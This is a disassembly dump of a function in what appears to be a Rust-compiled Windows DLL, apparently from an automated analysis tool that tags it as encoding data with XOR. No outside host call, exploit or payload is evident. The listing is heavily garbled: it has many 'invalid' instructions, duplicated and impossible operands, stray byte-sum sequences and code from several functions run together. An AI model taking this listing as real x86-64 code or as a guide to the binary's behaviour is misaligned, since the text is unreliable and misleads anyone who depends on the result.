Function at 0x180062c91
Capabilities:
Encode data using xor

Disassembly:
test rdi, rdi
jne 0x18000154e
mov rax, qword [rsp + 0x218]
mov rcx, qword [rsp + 0xa0]
cmp rcx, rax
je 0x18000161c
mov rax, rcx
mov r15, rcx
lea rax, [rcx + 0x18]
mov qword [rsp + 0xa0], rax
test r15, r15
je 0x180001624
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
mov rcx, rbp
call fcn.180005a8c
movabs rdx, 0x8000000000000000
mov rsi, qword [rsp + 0x40]
cmp rsi, rdx
je 0x180001627
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov r14, qword [r15 + 0x10]
test r14, r14
je 0x180001634
mov rax, r14
shr rax, 0x20
jne 0x180001fae
mov rbx, qword [r15 + 8]
mov rcx, rbp
mov edx, r14d
call 0x180063c0e
cmp qword [rsp + 0x40], 0
mov rdi, qword [rsp + 0x48]
jne 0x180001fa8
add r14, rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r14
and word [rsp + 0x50], 0
and qword [rsp + 0x58], 0
mov rbx, qword [rsp + 0x98]
mov rcx, rbp
call case.0x180046113.1078
test ax, ax
je 0x18000160e
mov rax, qword [rsp + 0x58]
lea rcx, [rax + 1]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rdi + 0x10]
mov word [rcx + rax*2], dx
inc eax
mov dword [rdi + 4], eax
jmp 0x1800015e4
mov rax, qword [rdi + 0x10]
mov ecx, dword [rdi + 4]
and word [rax + rcx*2], 0
jmp 0x180001636
mov qword [rsp + 0xa0], rax
xor r15d, r15d
mov edi, 1
mov rsi, rdx
jmp 0x180001abf
xor edi, edi
and qword [rsp + 0x90], 0
and dword [rsp + 0xac], 0
mov qword [rsp + 0x1a8], rdi
movaps xmmword [rsp + 0x80], xmm6
lea rdx, [0x1800815f0]
test rdi, rdi
je 0x180001667
mov rdx, qword [rdi + 0x10]
mov rax, qword [rbx]
lea rcx, [rsp + 0xac]
mov qword [rsp + 0x20], rcx
and qword [rsp + 0x28], 0
mov rcx, rbx
xor r8d, r8d
lea r9, [rsp + 0x80]
call qword [rax + 0x20]
mov rcx, rbp
mov edx, eax
call fcn.180063c81
cmp qword [rsp + 0x40], 0
je 0x1800016bc
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
lea rcx, [rsp + 0xb0]
call fcn.180067f7d
jmp 0x1800019e0
movzx r8d, word [rsp + 0x80]
bt r8d, 0xd
jb 0x180001703
mov al, 5
cmp r8d, 0x15
ja case.default.0x1800016fa
xchg edi, eax
add dword [rax], eax
invalid
xchg edi, eax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, r8d
lea rdx, [0x180082108]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov edx, dword [rsp + 0x38]
mov r9d, dword [rsp + 0x3c]
mov r11, qword [rsp + 0x108]
jmp rcx
xor eax, eax
jmp 0x180001830
mov rdx, qword [rsp + 0x88]
and r8d, 0xfff
lea rcx, [rsp + 0x150]
call case.0x18006489b.140
mov cl, byte [rsp + 0x150]
cmp cl, 0x12
jne 0x18000174a
mov r11, qword [rsp + 0x158]
lea rax, [rsp + 0x160]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x280], xmm0
mov al, 0xe
jmp 0x18000177f
mov dl, byte [rsp + 0x151]
movzx r10d, word [rsp + 0x152]
mov r9d, dword [rsp + 0x154]
mov r11, qword [rsp + 0x158]
lea rax, [rsp + 0x160]
movups xmm0, xmmword [rax]
adc byte [rax], al
adc byte [rax], al
movaps xmmword [rsp + 0x280], xmm0
mov eax, ecx
movaps xmm0, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x200], xmm0
mov r8d, r10d
cmp cl, 0x12
je 0x1800018e2
mov byte [rsp + 0xb8], al
mov dword [rsp + 0x38], edx
mov byte [rsp + 0xb9], dl
mov word [rsp + 0xba], r8w
mov dword [rsp + 0x3c], r9d
mov dword [rsp + 0xbc], r9d
mov qword [rsp + 0x108], r11
mov qword [rsp + 0xc0], r11
movaps xmm0, xmmword [rsp + 0x200]
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xb8]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0xb0], 1
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
mov word [rsp + 0x36], r8w
and al, 0x36
jmp 0x1800019e0
mov al, 6
jmp 0x1800018ac
mov al, 0xa
jmp 0x1800018c8
add byte [rax], al
add byte [rax], al
mov al, 0xc
jmp 0x1800018bc
mov al, 4
jmp 0x180001823
mov al, 8
jmp 0x1800018ac
mov al, 0xb
movzx r10d, word [rsp + 0x88]
jmp 0x180001830
mov al, 1
jmp 0x1800018cf
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x150]
call 0x180064278
mov r14, qword [rsp + 0x150]
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x180001d4e
mov al, 8
movzx ecx, word [rsp + 0x36]
mov r8d, ecx
mov edx, dword [rsp + 0x38]
mov r9d, dword [rsp + 0x3c]
mov r11, qword [rsp + 0x108]
jmp case.0x1800016fa.6
movzx r8d, word [rsp + 0x88]
mov al, 9
test r8d, r8d
ror byte [rdi], 0x84
fiadd dword [rax + rax]
invalid
ror byte [rdi], 0x84
fiadd dword [rax + rax]
add byte [rcx - 0x7f], al
clc
invalid
cmp r8d, 0xffff
add byte [rax], al
jne 0x180001d7a
mov dl, 1
jmp 0x1800018cf
mov al, 0xd
mov r14, qword [rsp + 0x88]
jmp 0x1800018cf
mov al, 5
jmp 0x1800018bc
mov al, 7
mov r9d, dword [rsp + 0x88]
jmp 0x1800018cf
mov al, 3
mov dl, byte [rsp + 0x88]
movaps xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x200], xmm0
mov r11, r14
mov byte [rsp + 0x1b0], al
mov dword [rsp + 0x38], edx
mov byte [rsp + 0x1b1], dl
mov word [rsp + 0x36], r10w
mov word [rsp + 0x1b2], r10w
mov dword [rsp + 0x3c], r9d
mov dword [rsp + 0x1b4], r9d
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x1b8], r11
movaps xmm0, xmmword [rsp + 0x200]
lea rax, [rsp + 0x1c0]
movups xmmword [rax], xmm0
mov r8d, dword [rsp + 0xac]
mov rcx, rbp
lea rdx, [rsp + 0x1b0]
call fcn.18006436b
cmp qword [rsp + 0x40], 0
movups xmm0, xmmword [rbp + 8]
movups xmm1, xmmword [rbp + 0x18]
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm1
je 0x180001998
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
lea rax, [rsp + 0xb8]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0xb0], 1
jmp 0x1800019e0
lea rcx, [rsp + 0x80]
call qword [sym.imp.oleaut32.dll_VariantClear]
mov rcx, rbp
mov edx, eax
call fcn.180063c81
cmp qword [rsp + 0x40], 0
je 0x180001ccf
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x50]
lea rcx, [rsp + 0xb0]
call fcn.180067f7d
lea rcx, [rsp + 0x220]
call case.0x18004d727.321
lea rcx, [rsp + 0x1a8]
call 0x180063b65
cmp qword [rsp + 0xb0], 0
lea rax, [rsp + 0xb8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
jne 0x180001e29
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x310], xmm1
movaps xmmword [rsp + 0x300], xmm0
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x300]
call fcn.180009cb0
cmp qword [rsp + 0x120], 0
jne 0x180001e48
lea rax, [rsp + 0x128]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
mov r14, r12
shr r14, 8
movaps xmmword [rsp + 0x1d0], xmm0
lea rax, [rsp + 0x2f0]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x2c0], xmm0
movabs rax, 0x8000000000000001
cmp rsi, rax
je 0x180001ea1
xor edi, edi
movabs rdx, 0x8000000000000000
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [rsp + 0x2c0]
lea rax, [rsp + 0x270]
movups xmmword [rax], xmm0
cmp rsi, rdx
je 0x180001dcc
mov qword [rsp + 0x178], rsi
mov byte [rsp + 0x180], r12b
mov dword [rsp + 0x181], r14d
mov rax, r14
shr rax, 0x30
mov byte [rsp + 0x187], al
mov rax, r14
shr rax, 0x20
mov word [rsp + 0x185], ax
mov qword [rsp + 0x188], r13
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0x180]
mov r9, r13
call fcn.18001da18
mov rsi, rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xe8], 0
je 0x180001cb5
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
lea rax, [0x18000ab34]
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9, rbp
call fcn.18000a986
mov rcx, qword [rsp + 0xd8]
test rax, rax
je 0x180001c54
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movups xmmword [rbp + 0x28], xmm1
movups xmmword [rbp + 0x18], xmm0
movzx eax, byte [rcx + rdx]
and eax, 1
sub qword [rsp + 0xe8], rax
shr rsi, 0x39
lea rax, [rdx - 0x10]
and rax, qword [rsp + 0xe0]
mov byte [rcx + rdx], sil
mov byte [rcx + rax + 0x10], sil
inc qword [rsp + 0xf0]
neg rdx
imul rax, rdx, 0x38
mov rdx, qword [rsp + 0x70]
mov qword [rcx + rax - 8], rdx
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movups xmmword [rcx + rax - 0x18], xmm2
movups xmmword [rcx + rax - 0x28], xmm1
movups xmmword [rcx + rax - 0x38], xmm0
mov byte [rsp + 0x40], 0x11
jmp 0x180001c9e
neg rdx
imul rax, rdx, 0x38
movups xmm0, xmmword [rcx + rax - 0x20]
movups xmm1, xmmword [rcx + rax - 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movups xmmword [rcx + rax - 0x20], xmm0
movups xmmword [rcx + rax - 0x10], xmm1
mov rcx, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
call case.0x180046113.1274
mov rcx, rbp
call fcn.180007151
movabs rdx, 0x8000000000000000
jmp 0x18000151e
lea rcx, [rsp + 0xd8]
lea rdx, [rsp + 0xf8]
call fcn.180069072
jmp 0x180001b6a
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
lea rdi, [rsp + 0xb8]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
lea rcx, [rsp + 0x1a8]
call 0x180063b65
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm1
jmp 0x180001a1b
mov r14, qword [rsp + 0x88]
mov byte [rsp + 0x150], 0xf
test r14, r14
movzx ecx, word [rsp + 0x36]
je 0x180001d69
lea rcx, [rsp + 0x150]
call case.0x18005797c.444
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov al, 0xf
jmp 0x1800018b4
lea rax, [rsp + 0x160]
movups xmm0, xmmword [rax - 8]
movaps xmmword [rsp + 0x2d0], xmm0
mov al, 2
jmp 0x1800018b4
mov al, 0xf
mov r8d, ecx
jmp case.0x1800016fa.6
xor edx, edx
jmp 0x1800018cf
mov al, 7
jmp case.0x1800016fa.6
mov rsi, qword [rsp + 0xd8]
mov r12b, byte [rsp + 0xe0]
movzx eax, byte [rsp + 0xe7]
shl eax, 0x10
movzx ecx, word [rsp + 0xe5]
or ecx, eax
shl rcx, 0x20
mov r14d, dword [rsp + 0xe1]
or r14, rcx
mov r13, qword [rsp + 0xe8]
lea rax, [rsp + 0xf8]
movups xmm0, xmmword [rax - 8]
movaps xmmword [rsp + 0x190], xmm0
mov rdi, qword [rsp + 0x100]
jmp 0x180001ec0
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
lea rax, [rsp + 0x128]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov bl, byte [rsp + 0x128]
movzx eax, byte [rsp + 0x12f]
shl eax, 0x10
movzx ecx, word [rsp + 0x12d]
or ecx, eax
shl rcx, 0x20
mov r14d, dword [rsp + 0x129]
or r14, rcx
mov r13, qword [rsp + 0x130]
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x1d0], xmm0
mov rcx, rsi
mov rdx, r12
call case.0x180046113.1274
mov r12d, ebx
mov rbx, qword [rsp + 0x98]
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0xd8]
call fcn.1800063f9
xor esi, esi
mov r15, qword [rsp + 0x118]
mov rbp, qword [rsp + 0x110]
lea rcx, [rsp + 0x248]
call fcn.18000703f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
test rsi, rsi
je 0x180001f34
movaps xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x2a0], xmm0
mov qword [r15], rsi
mov byte [r15 + 8], r12b
mov rax, r14
shr rax, 0x30
mov byte [r15 + 0xf], al
mov rax, r14
shr rax, 0x20
mov word [r15 + 0xd], ax
mov dword [r15 + 9], r14d
mov qword [r15 + 0x10], r13
movaps xmm0, xmmword [rsp + 0x2a0]
movups xmmword [r15 + 0x18], xmm0
mov qword [r15 + 0x28], rdi
jmp 0x180001f74
mov rbx, r13
cmp byte [rbp], 0x12
je 0x180001f45
mov rcx, rbp
call fcn.180006b2f
mov byte [rbp], r12b
mov dword [rbp + 1], r14d
mov rax, r14
shr rax, 0x30
mov byte [rbp + 7], al
shr r14, 0x20
mov word [rbp + 5], r14w
mov qword [rbp + 8], rbx
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rbp + 0x10], xmm0
and qword [r15], 0
movaps xmm6, xmmword [rsp + 0x330]
add rsp, 0x348
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [rsp + 0x50]
jmp 0x180001fb5
mov eax, 0x80070057
xor edi, edi
lea r8, [rsp + 0x40]
mov qword [r8], rdi
mov dword [r8 + 8], eax
lea rax, [0x180081650]
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x1800813c0]
mov edx, 0x2b
call fcn.180069b20
int3
test rbx, rbx
je 0x1800049f3
cmp rbx, r13
mov r8d, 0x7fffffff
cmovb r8, rbx
mov rcx, rsi
mov rdx, r14
xor r9d, r9d
call rbp
cmp eax, 0xffffffff
je 0x1800049c0
test eax, eax
je 0x1800049f8
movsxd rcx, eax
mov rdx, r14
mov r8, rbx
mov eax, ebx
invalid
mov eax, ebx
mov r9, r15
call fcn.18000201b
mov r14, rax
mov rbx, rdx
jmp 0x180004981
call rdi
mov r12d, eax
shl r12, 0x20
or r12, 2
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], r12
and al, 0x30
mov rcx, r12
call fcn.180004a13
invalid
test al, al
je 0x1800049ff
add byte [rax + rax*8 - 0x72b7e78c], al
and al, 0x30
lea rcx, [rsp + 0x30]
call fcn.18001ba3c
jmp 0x180004981
xor r12d, r12d
jmp 0x1800049ff
lea r12, str.failed_to_write_whole_buffer
mov rax, r12
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lock inc qword [rax]
jle 0x180004d52
mov r14, r8
mov rbx, rdx
mov rsi, rcx
lea rcx, [r15 + 8]
lea rdx, [rsp + 0x28]
mov qword [rdx + 8], rdi
lea r8, [rsp + 0x40]
mov qword [rdx + 0x10], r8
mov qword [rdx], rax
call fcn.18001cbb1
lea rcx, [r15 + 0x38]
call fcn.1800050c5
mov dl, byte [rbx + 0x20]
mov rcx, r15
call fcn.180007303
mov rax, qword [rbx + 0x30]
mov rdx, qword [rax]
mov r8d, dword [rax + 8]
mov rcx, r14
call fcn.180005435
lea rcx, [0x180082170]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov rdx, qword [rbx + 0x38]
lea rbx, [rsp + 0x28]
mov rcx, rbx
call fcn.18001c819
cmp qword [rbx], 0
jne 0x180004d8a
lea r14, [rsp + 0x28]
mov rbx, qword [r14 + 8]
mov bpl, byte [r14 + 0x10]
lea rdx, [rbx + 8]
mov rcx, r14
mov r8, rdi
call fcn.180005061
cmp qword [r14], 0
je 0x180004dcf
mov rax, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rcx], xmm0
call fcn.180006f7c
mov rcx, rbx
mov edx, ebp
call fcn.180007303
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
mov qword [rsp + 0x40], rcx
cmp rax, rcx
enter 0xffffffffffff840f, 0x75
add dword [rax], eax
invalid
and qword [rsi], 0
jmp 0x180004d05
mov rdx, qword [rbx + 0x38]
lea rbx, [rsp + 0x28]
mov rcx, rbx
call fcn.18001c819
cmp qword [rbx], 0
jne 0x180004d6c
lea r14, [rsp + 0x28]
mov rbx, qword [r14 + 8]
mov bpl, byte [r14 + 0x10]
lea rdx, [rbx + 8]
mov rcx, r14
mov r8, rdi
clc
clc
call fcn.180005061
cmp qword [r14], 0
je 0x180004dc3
mov rax, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rcx], xmm0
call fcn.180006f7c
mov rcx, rbx
mov edx, ebp
call fcn.180007303
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x244c8948], al
cmp rax, rcx
add byte [rax], al
add byte [rax + 0x244c8948], al
cmp rax, rcx
je 0x180004ddb
mov qword [rsi], 1
mov qword [rsi + 8], rax
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rsi + 0x10], xmm0
jmp 0x180004d3a
lea rdi, [rsp + 0x28]
and dword [rdi], 0
mov al, byte [rsp + 0x58]
test al, al
jne 0x180004d2e
mov rcx, rdi
call fcn.180004eee
jmp 0x180004d1c
mov qword [rsi], 2
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call fcn.180007132
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
mov edx, 0x28
call fcn.180069820
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x38]
lea r8, [rsp + 0x60]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
jmp 0x180004da6
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x38]
lea r8, [rsp + 0x60]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006d020]
mov edx, 0x2b
call fcn.180069b20
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
int3
test r14, r14
je 0x180006ae7
mov rcx, rdi
call fcn.18000a547
cmp rax, 1
je 0x180006aac
mov rax, qword [rsp + 0x38]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x48], cx
add qword [rsp + 0x30], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
cmp bl, ch
retf 0xc148
jmp 0x180006a76
shl rdx, 5
mov rax, qword [rsp + 0x30]
mov r14, qword [rsp + 0x50]
mov rbx, rax
sub rbx, rdx
dec r14
mov qword [rsp + 0x50], r14
mov rcx, qword [rbx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
mov edx, dword [rax + rdx - 0x18]
mov edx, dword [rax + rdx - 0x18]
push rsp
adc al, ch
call case.0x180046113.1274
add rbx, 0xfffffffffffffff8
mov rcx, rbx
call fcn.18001e23c
push rdi
ja 0x180006ae5
invalid
push rdi
ja 0x180006ae5
add bl, ch
mov cl, byte [rax - 0x75]
push rsi
adc byte [rbx + rcx*4 + 0x46], cl
sbb byte [rax - 0x39], cl
and al, 0x20
adc byte [rax], al
add byte [rax], al
jmp 0x180006a71
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
mov qword [rsp + 0x20], 0x10
lea rsi, [rsp + 0x30]
mov r9d, 0x20
mov rcx, rsi
call fcn.18000a5e7
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1800097d8
lea rdx, [0x180082180]
lea edx, [0x180082180]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
ret
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rcx, rax
jmp case.0x180046113.1274
mov r8, qword [rcx + 0x10]
test r8, r8
je 0x180006b48
mov rcx, qword [rcx + 8]
mov edx, 1
jmp fcn.1800097d8
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
call fcn.180007132
mov ecx, dword [rsi + 0x58]
mov rdx, qword [rsi + 0x60]
call fcn.18000734b
mov ecx, dword [rsi + 0x68]
mov rdx, qword [rsi + 0x70]
call fcn.18000734b
mov ecx, dword [rsi + 0x78]
mov rdx, qword [rsi + 0x80]
call fcn.18000734b
mov rdi, qword [rsi + 0xa8]
mov rbp, rdi
test rdi, rdi
sete al
je 0x180006d3e
mov rbp, qword [rsi + 0xb8]
mov r15, qword [rsi + 0xb0]
xor r14d, r14d
lea rsi, [rsp + 0x20]
lea rbx, [rsp + 0x38]
test rbp, rbp
je 0x180006e3b
test al, 1
jne 0x180006efe
test r14, r14
jne 0x180006d85
mov rcx, rsi
mov rdx, rdi
mov r8, r15
call fcn.180008bfc
mov r14, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov r15, qword [rsp + 0x30]
dec rbp
mov r13, r15
mov r12, r14
movzx eax, word [r12 + 0x16a]
cmp r13, rax
jb 0x180006dc4
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call fcn.180008b3c
mov r12, qword [rsp + 0x20]
test r12, r12
je 0x180006ef2
mov rdi, qword [rsp + 0x28]
mov r13, qword [rsp + 0x30]
jmp 0x180006d8e
test rdi, rdi
je 0x180006df9
mov rdx, qword [r12 + r13*8 + 0x178]
dec rdi
mov rcx, rbx
mov r8, rdi
call fcn.180008bfc
mov r14, qword [rsp + 0x38]
test r14, r14
je 0x180006ef2
mov rdi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x180006e02
lea r15, [r13 + 1]
xor edi, edi
mov r14, r12
imul rax, r13, 0x18
mov r13, qword [r12 + rax + 0x60]
mov r12, qword [r12 + rax + 0x68]
mov rcx, r13
call qword [r12]
mov r8, qword [r12 + 8]
xor eax, eax
test r8, r8
je 0x180006d52
mov rdx, qword [r12 + 0x10]
mov rcx, r13
call fcn.1800097d8
xor eax, eax
jmp 0x180006d52
test al, 1
je 0x180006ea1
add rsp, 0x58
add esp, 0x58
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rbx, qword [rbx]
mov ebx, dword [rbx]
test rbx, rbx
je 0x180006cec
mov rdi, qword [rsp + 0x28]
lea r14, [rsp + 0x20]
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call fcn.180008b9a
mov rbx, qword [rsp + 0x20]
test rbx, rbx
je 0x180006cec
mov rdi, qword [rsp + 0x28]
jmp 0x180006e7e
test r14, r14
jne 0x180006eca
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov rdx, rdi
mov r8, r15
call fcn.180008bfc
mov r14, qword [rsi]
test r14, r14
je 0x180006e3f
test byte [rdx - 1], bh
invalid
invalid
mov rdi, qword [rsp + 0x28]
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov ecx, esi
int1
mov rdx, r14
mov r8, rdi
call fcn.180008b3c
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x20
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x20
and byte [rbp - 0x7b], cl
test byte [rdi], 0x84
push rsp
invalid
test r14, r14
je 0x180006e3f
mov rdi, qword [rsp + 0x28]
mov edi, dword [rsp + 0x28]
jmp 0x180006ecf
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_srccollections_btree_navigate.rs
call fcn.180069bb0
invalid
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_srccollections_btree_navigate.rs
call fcn.180069bb0
int3
test al, al
setne al
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [r12 + rbp]
mov eax, r13d
and al, 1
cmp rcx, rsi
jae 0x1800081cd
invalid
invalid
test al, al
jne 0x1800081cd
movdqu xmm0, xmmword [rbx + r12]
movdqu xmm1, xmmword [rdi + r12]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
pmovmskb r8d, mm1
pmovmskb r8d, mm1
test r8d, r8d
jne 0x1800081ba
add r12, 0x10
jmp 0x180008180
mov rcx, r14
mov rdx, r12
xor r9d, r9d
call fcn.180068e10
or al, 6
add byte [rcx - 0x77], al
mov ebp, eax
or al, 6
add byte [rcx - 0x77], al
mov ebp, eax
mov ebp, eax
jmp 0x1800081b4
mov rdx, qword [rsp + 0x38]
lea rcx, [rbx + rdx]
add rcx, 0xfffffffffffffff1
movdqu xmm0, xmmword [rbx + rdx - 0xf]
movdqu xmm1, xmmword [r15 + rcx]
pcmpgtd mm1, qword [rdi]
je 0x1800081b0
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
xlatb
rol dword [rbp - 0x7b], 0xc0
iretd
xlatb
rol dword [rbp - 0x7b], 0xc0
je 0x18000802b
add rdx, 0xfffffffffffffff1
test al, al
setne bl
lea rcx, [rsp + 0x58]
pop rax
ror byte [rdi], 0x95
ret
pop rax
mov r9d, eax
call fcn.180068e10
or eax, dword [rsi]
add byte [rax], cl
fsubr st(1)
invalid
invalid
invalid
invalid
or eax, dword [rsi]
add byte [rax], cl
fsubr st(1)
invalid
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rdx, r14
call fcn.1800697a0
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_src_strpattern.rs
add eax, 0x64c7a
jp 0x180008280
invalid
add bl, ch
in al, dx
jmp 0x180008224
in al, dx
and byte [rcx + rcx*4 - 0x32], cl
invalid
mov rdi, r8
mov rbx, rdx
mov r8, rcx
mov rcx, rdi
stc
stc
mov rdx, r9
mov r9, rbx
call fcn.180035dd8
jg 0x180008232
add al, byte [rax]
jg 0x180008232
add al, byte [rax]
sub rsi, rbx
xor ecx, ecx
leave
test al, al
cmovne rcx, rdi
mov rax, rcx
mov eax, ecx
mov eax, ecx
mov rdx, rsi
add rsp, 0x20
and byte [rbx + 0x5f], bl
and byte [rbx + 0x5f], bl
pop rsi
ret
sub esp, 0x38
mov rax, qword [rcx]
lea r8, [0x180082204]
lahf
invalid
movsxd rax, dword [r8 + rax*4]
add rax, r8
add eax, eax
jmp rax
mov rcx, qword [rdx + 0x20]
